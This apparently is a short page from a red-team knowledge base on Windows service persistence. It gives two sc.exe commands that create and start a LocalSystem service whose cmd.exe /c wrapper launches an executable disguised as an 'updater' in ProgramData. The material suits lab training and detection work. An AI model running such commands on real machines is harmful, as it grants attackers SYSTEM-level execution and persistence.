Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 04. Windows / 03. Persistence / Services

Service Command Wrapper

In a lab, cmd.exe /c can be used to trigger a command through service start, but this is noisy and may produce service failure events.

sc.exe create OOTWOneShot binPath= "cmd.exe /c C:\ProgramData\Microsoft\Windows\updater.exe" start= demand obj= LocalSystem
sc.exe start OOTWOneShot

Use this for testing the primitive, not as a stable long-term service design.